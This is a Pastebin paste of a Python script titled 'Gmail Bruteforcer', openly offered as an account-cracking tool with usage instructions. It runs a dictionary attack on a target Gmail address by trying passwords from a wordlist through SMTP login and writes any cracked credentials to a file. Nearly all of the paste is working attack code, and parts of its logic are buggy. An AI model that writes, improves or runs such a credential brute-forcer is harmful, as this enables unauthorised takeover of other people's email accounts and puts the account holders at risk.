Advertisement
Kofphtastrophe

Python 3.x Gmail Bruteforcer

Sep 18th, 2016
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.23 KB | None | 0 0
  1. # Made by Michael Kofph
  2. # USAGE:
  3. #   You will need to create a .txt file with the words you're trying to crack with
  4. #   That .txt file will act as a dictionary for the attack.
  5. #   In order to begin the attack, type "crack your.target@gmail.com" (<-- example)
  6. # This is Python 3.5, so you will need to download Python 3.x, not 2.x#############
  7. # No additional libraries used.########################################
  8. ################################
  9. import smtplib,os;
  10. from tkinter import *
  11. savecrack = "CrackedAccounts.txt"
  12. if not os.path.isfile(savecrack):
  13.     newf = open(savecrack,'w')
  14.     newf.close()
  15. class common:
  16.     def get_file_len(fname):
  17.         try:
  18.             with open(fname) as f:
  19.                 for i, l in enumerate(f):
  20.                     pass
  21.                 return i + 1;
  22.         except:
  23.             print((">> %s is empty!") % fname);
  24.             return 0;
  25. class new:
  26.     def listclone(org,new):
  27.         if os.path.isfile(new):
  28.             os.remove(new);
  29.         if os.path.isfile(org):
  30.             orig = open(org,'r');
  31.             dataf = str(orig.read());
  32.             orig.close()
  33.             #####
  34.             nouw = open(new,'w');
  35.             nouw.write(dataf);
  36.             nouw.close()
  37.             return new;
  38.     ##############################################################################################
  39.     ##    ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~   ##
  40.     ##############################################################################################
  41. class crack:
  42.     class gmail:
  43.         def attemptlogin(usr,pww):
  44.             global savecrack;
  45.             extractedPw = None;
  46.             try:
  47.                 server = smtplib.SMTP('smtp.gmail.com:587')
  48.                 server.starttls()
  49.                 try:
  50.                     server.login(usr,pww)
  51.                     pxw = ('\n'+"!- ::username:"+usr+"::password:"+pww+"::")
  52.                     with open(savecrack,'a+') as tempers:
  53.                         tempers.write(pxw)
  54.                         tempers.close()
  55.                         pww = (("\n!-Cracked password for [%s]! Password is [%s]-!") % (usr,pww));
  56.                     return pww;  # Correct password
  57.                 except:
  58.                     return None; # Incorrect password
  59.                 server.quit()
  60.             except:
  61.                 return "ERROR while attempting a password-!"; # An error occurred
  62.     class lists:
  63.         def makeguess(dictnry):
  64.             results = None;
  65.             def choice_next(dicfile):
  66.                 dictnry_file = open(dicfile,'r');
  67.                 for line in dictnry_file:
  68.                     updated_data = dictnry_file.read()
  69.                     updated_data.replace(line,"");
  70.                     dicr = open(dicfile,'w');
  71.                     dicr.write(updated_data);
  72.                     dicr.close()
  73.                     return line;
  74.             results = choice_next(dictnry);
  75.             return results;
  76.                    
  77.         def attack(pwlist,user):
  78.             global appendix;
  79.             try:
  80.                 for i in range(0,common.get_file_len(pwlist)):
  81.                     NewWord = crack.lists.makeguess(pwlist);
  82.                     if "\n" in NewWord:
  83.                         NewWord = NewWord.replace("\n","");
  84.                     print(("::attempting password:[%s] on user:[%s]") % (NewWord,user))
  85.                     if user.endswith("@gmail.com"):
  86.                         logintry = crack.gmail.attemptlogin(user,NewWord);
  87.                     else:
  88.                         print("Unrecognized softw");
  89.                         return None;
  90.                     if logintry != None:
  91.                         return logintry;
  92.             except:
  93.                 print(">> An error occurred");
  94.             return "No matching passwords";
  95.     ##############################################################################################
  96.  
  97. while True:
  98.     mimput = input(">>");
  99.     if "crack" in mimput:
  100.         cleaned = mimput.replace("crack ","")
  101.         xx = crack.lists.attack( new.listclone( "Dictionary.txt", "roaming.txt" ) , cleaned);
  102.         print(xx);
  103.     else:
  104.         print("Unrecognized ..");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement